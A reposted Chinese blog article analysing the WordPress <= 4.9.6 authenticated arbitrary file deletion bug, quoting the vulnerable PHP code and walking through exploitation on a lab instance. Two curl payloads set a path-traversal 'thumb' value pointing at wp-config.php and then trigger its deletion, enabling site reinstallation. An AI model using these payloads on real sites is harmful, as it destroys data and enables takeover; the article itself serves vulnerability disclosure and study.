Wordpress <= 4.9.6 任意文件删除漏洞
本文转载自:Wordpress <= 4.9.6 任意文件删除漏洞 - http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility/
Wordpress <= 4.9.6 任意文件删除漏洞
WordPress是如今使用最为广泛的一套内容管理系统。根据 w3tech 统计,全世界大概有30%的网站运行着WordPress程序。
昨日RIPS团队公开了一个Wordpress的任意文件删除漏洞(需要登录),目前该漏洞仍然未修复(2018年06月27日),该漏洞影响 Wordpress 最新版 4.9.6.
本文我们将结合 VulnSpy 的在线 WordPress 环境来演示该漏洞的利用。
VulnSpy Wordpress 4.9 在线环境: http://www.vulnspy.com/wordpress-4.9/wordpress_4.9/
漏洞分析
- 文件wp-includes/post.php中:
function wp_delete_attachment( $post_id, $force_delete = false ) { ... $meta = wp_get_attachment_metadata( $post_id ); ... if ( ! empty($meta['thumb']) ) { // Don't delete the thumb if another attachment uses it. if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) { $thumbfile = str_replace(basename($file), $meta['thumb'], $file); /** This filter is documented in wp-includes/functions.php */ $thumbfile = apply_filters( 'wp_delete_file', $thumbfile ); @ unlink( path_join($uploadpath['basedir'], $thumbfile) ); } } ... }
$meta['thumb']
来自与数据库,是图片的属性之一。代码未检查$meta['thumb']
的内容,直接带入unlink
函数,如果$meta['thumb']
可控则可导致文件删除。
- 文件/wp-admin/post.php中:
... switch($action) { ... case 'editattachment': check_admin_referer('update-post_' . $post_id); ... // Update the thumbnail filename $newmeta = wp_get_attachment_metadata( $post_id, true ); $newmeta['thumb'] = $_POST['thumb']; wp_update_attachment_metadata( $post_id, $newmeta ); ...
$newmeta['thumb']
来自于$_POST['thumb'],未经过滤直接将其存入数据库,即上一步的$meta['thumb']
可控。
详细分析可见:WARNING: WordPress File Delete to Code Execution - https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
漏洞利用
1. 使用VSPlate安装你的Wordpress 4.9
Wordpress 4.9 在线环境: http://www.vulnspy.com/wordpress-4.9/wordpress_4.9/
2. 登录后台,添加媒体
访问 http://9c9b.vsplate.me/wp-admin/upload.php, 上传任意图片.
3. 将 $meta['thumb'] 设置为我们要删除的文件
3.1 点击第二步中我们上传的图片, 并记住图片ID.
3.2 访问 http://9c9b.vsplate.me/wp-admin/post.php?post=4&action=edit. 在网页源代码中找到 _wpnonce
.
3.3 发送Payload:
curl -v 'http://9c9b.vsplate.me/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=editattachment&_wpnonce=***&thumb=../../../../wp-config.php'
4. 删除文件
4.1 在网页源码中找到另外一个 _wpnonce
.
4.2 发送Payload:
curl -v 'http://9c9b.vsplate.me/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=delete&_wpnonce=***'
5. 刷新网页
已经可以重装网站。
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
如何用机器学习处理二元分类任务?
图像是猫还是狗?情感是正还是负?贷还是不贷?这些问题,该如何使用合适的机器学习模型来解决呢? 问题 暑假后,又有一批研究生要开题了。这几天陆续收到他们发来的研究计划大纲。 其中好几个,打算使用机器学习做分类。 但是,从他们的文字描述来看,不少人对机器学习进行分类的方法,还是一知半解。 考虑到之前分享机器学习处理分类问题的文章,往往针对具体的任务案例。似乎对分类问题的整体步骤与注意事项,还没有详细论述过。于是我决定写这篇文章,帮他们梳理一下。 他们和你一样,也是我专栏的读者。 如果你对机器学习感兴趣,并且实际遇到了分类任务,那我解答他们遇到的一些疑问,可能对于你同样有用。 所以,我把这篇文章也分享给你。希望能有一些帮助。 监督 监督式机器学习任务很常见。主要模型,是分类与回归。 就分类问题而言,二元分类是典型应用。 例如决策辅助,你利用结构化数据,判定可否贷款给某个客户; 例如情感分析,你需要通过一段文字,来区分情感的正负极性; 例如图像识别,你得识别出图片是猫,还是狗。 今天咱们就先介绍一下,二元分类,这个最为简单和常见的机器学习应用场景。 注意要做分类,你首先得有合适的数据。 什么是...
- 下一篇
超详细动手搭建一个Vuepress站点及开启PWA与自动部署
Vuepress介绍 官网:https://vuepress.vuejs.org/ 类似hexo一个极简的静态网站生成器,用来写技术文档不能在爽。当然搭建成博客也不成问题。 Vuepress特点 响应式,也可以自定义主题与hexo类似 内置markdown(还增加了一些扩展),并且可以在其使用Vue组件 Google Analytics 集成 PWA 自动生成Service Worker 快速上手 安装 初始化项目 yarn init -y # 或者 npm init -y 安装vuepress yarn add -D vuepress # 或者 npm install -D vuepress 全局安装vuepress yarn global add vuepress # 或者 npm install -g vuepress 新建一个docs文件夹 mkdir docs 设置下package.json { "scripts": { "docs:dev": "vuepress dev docs", "docs:build": "vuepress build docs" } } 写作 ya...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- Eclipse初始化配置,告别卡顿、闪退、编译时间过长
- SpringBoot2整合MyBatis,连接MySql数据库做增删改查操作
- SpringBoot2整合Thymeleaf,官方推荐html解决方案
- SpringBoot2整合Redis,开启缓存,提高访问速度
- CentOS8编译安装MySQL8.0.19
- Docker使用Oracle官方镜像安装(12C,18C,19C)
- CentOS7,8上快速安装Gitea,搭建Git服务器
- Docker安装Oracle12C,快速搭建Oracle学习环境
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- Windows10,CentOS7,CentOS8安装Nodejs环境